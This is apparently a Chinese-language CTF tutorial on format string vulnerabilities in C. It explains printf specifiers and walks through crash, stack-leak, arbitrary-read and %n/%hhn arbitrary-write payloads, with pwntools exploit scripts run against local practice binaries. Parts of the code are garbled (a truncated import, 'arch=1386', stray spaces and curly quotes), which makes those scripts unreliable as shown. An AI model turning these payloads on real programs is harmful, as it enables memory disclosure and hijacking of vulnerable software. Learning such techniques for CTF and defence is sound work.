pwn_格式化字符串漏洞初步

格式化字符串漏洞指的是在类似于:

1
2
3
char test[100];
scanf("%s", test);
printf(test);

​ 这样的漏洞其核心就在于,printf函数的错误使用使得攻击者可以输入带有格式化字符串的内容,导致内存的泄露,可能造成任意读,任意写的结果,影响巨大。

0x01 格式化字符串语法基础

一、常见语法

c语言中常见的格式化输出:

  • %d - 十进制 - 输出十进制整数
  • %s - 字符串 - 从内存中读取字符串
  • %x - 十六进制 - 输出十六进制数
  • %c - 字符 - 输出字符
  • %p - 指针 - 指针地址
  • %n – 把前面打印过的字符长度输出到指定地址
  • %N$ - 第 N 个参数

二、危险函数

容易出现漏洞的函数:

函数 基本介绍
printf 输出到 stdout
fprintf 输出到指定 FILE 流
vprintf 根据参数列表格式化输出到 stdout
vfprintf 根据参数列表格式化输出到指定 FILE 流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置 argv
syslog 输出日志
err, verr, warn, vwarn 等 。。。

0x02 格式化字符串漏洞的利用

一、程序崩溃

1
%s%s%s%s%s%s%s%s%s%s%s%s%s%s

​ 这个就是在栈上一个一个往后读,视为一个一个地址去找字符串,如果遇到一个不合法地址,程序就会崩溃。

二、读栈内容

在正常的进行printf调用时,比如语句是这样的:

printf("hello %d %d %s",num1,2,str),其栈区内容会包括:

  • printf函数返回地址;——低地址
  • “hello %d %d %s”这个字符串的地址;
  • num1的值;
  • 数字2;
  • str的地址;——高地址

但在不正常的调用时,printf函数会把栈上原有的内容当作参数。

​ 也就是,我们可以一点一点把栈上的内容打印出来(先别管有啥用,问就是泄露),但是这样我们不太满意,比如说,我们只想要”hello %d %d %s”这个字符串的地址往后五个那个位置的内容,怎么办?

​ 我们可以使用%n$x语法,其中n是一个数字,我们要输出第五个,填5就行,x表示输出的格式是十六进制数,总之,这样的语法的意思就是把第五个参数按照十六进制数输出。

因此,最直接的漏洞就是我们可以输出栈上的内容,比如:

  1. 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
  2. 利用 %s 来获取变量所对应地址的内容,只不过有零截断,若对应地址没有内容则程序会崩溃。
  3. 利用 %order$x 来获取指定参数的,利用 %order$s 来获取指定参数对应地址的内容。

​ 由于这样读参数的方法(计算参数order的方法),是从低地址向高地址计算,与栈的增长方向相反(我们遍历参数的方向是向高地址遍历,而栈的增长是向低地址增长,所以在这之前记录在栈上的内容是全都能读的),也就是,我们拥有了读栈上一切内容的能力,但是仅仅这样是不够的。

三、任意读

​ 我们要做到知道一个地址就能读,而不是只能在栈上的那一点偏移上读,怎么办。

​ 我们换一个思路,如果要读一个地址,我们肯定要输入一个地址,那我们能控制的输入就只有那个格式化字符串,那个地址肯定是存在格式化字符串里的。

image-20220514174319366

​ 要实现任意写,我们使用的payload是:

1
addr%k$s

​ 具体利用思路如上图所示,左边为正常调用时的栈情况,右边是我们在做任意读的时候的利用方式,我们只需要用某种手段,确定图中的k值,也就是prinf函数的第一个参数,与其字符串储存位置的偏移,就可以基于这个偏移,把addr当作我们的第k个参数,然后将其作为一个字符串格式化字符串,打印出addr处的内容,实现任意读。

​ 我们要确定这个k值,只需要使用和格式化输入[tag]-%p-%p-%p-%p-%p-%p..来判断偏移,从地址开始依次向上输出栈中的内容,直到输出了我们的tag内容,就能确定经过的k偏移了。

​ 这里举一个printf泄露libc的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import

context(arch ='1386',OS='linux',log_ level= 'debug' )
def fmt_str( payload) :
p = process( './ fmtstr10' )
p.sendline (payload)
return p.recvall()

autofmt = FmtStr(fmt_str)
offset = autofmt. offset #自动算偏移
print ('offset = ' + hex(offset))
#第一次运行先算偏移

p = process("./ fmtstr10" , stderr= PIPE)
elf = p.elf
scanf_ got = elf. got["__ isoc99_ scanf" ]
print (hex( scanf_ got))
payLoad = p32(scanf_ got) +“%”+ str (offset) +"$S"
print (payload)
p.sendline(payload)
p.recvuntil('%4$s\n')
print hex(u32(p.recv()[4:8]))
p. close()

四、在栈上写(假任意写)

image-20220514182230563

​ 要对栈上的内容进行覆盖,我们使用的payload是:

1
[addr of c]%012d%6$n

​ 我们的目的是要把变量c的值写为16(例子)。如右图,第要被写入的变量c的地址被视为第 k个参数,然后我们使用n指令进行写入,但是如果放任不管,那我们写入的就是4,也就是c的值会被写为4。(之所以是4,是因为c地址转化为字符串长度是4)
​ 然而我们添加%012d,就是在这之前先输出一个长为12的整数,%012d表示输出长为12的整数,不足补0。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
def forc():
sh = process('./overwrite')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%012d' + '%6$n'
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()

forc()

​ 仔细想一想,我们实现的并不是在栈上写,只要拥有地址和偏移量,我们好像就可以实现任意写,但是这里存在的问题是,我们写入的数据是极其有限的,比如我们上面的例子中,如果我们要写0、1、2、3就不行,因为初始的地址长度就是4,又或者我们想写入的也是一个地址(即一个很大很大的整数),这时候我们是否要先输出几十万位的填充位来凑n呢,很明显不太考究。

五、真任意写

​ 简单的讨论一下,如何解决上面提到的数值过小和过大的情况:

写小数字:

​ 简单的说,思路就是把地址放在%n后面就可以了,偏移自己算;

写大数字:

不想看了,直接贴脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr


def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
1
2
3
4
5
6
7
def forb():
sh = process('./overwrite')
payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
print payload
sh.sendline(payload)
print sh.recv()
sh.interactive()

剩下的区域未来在探索吧…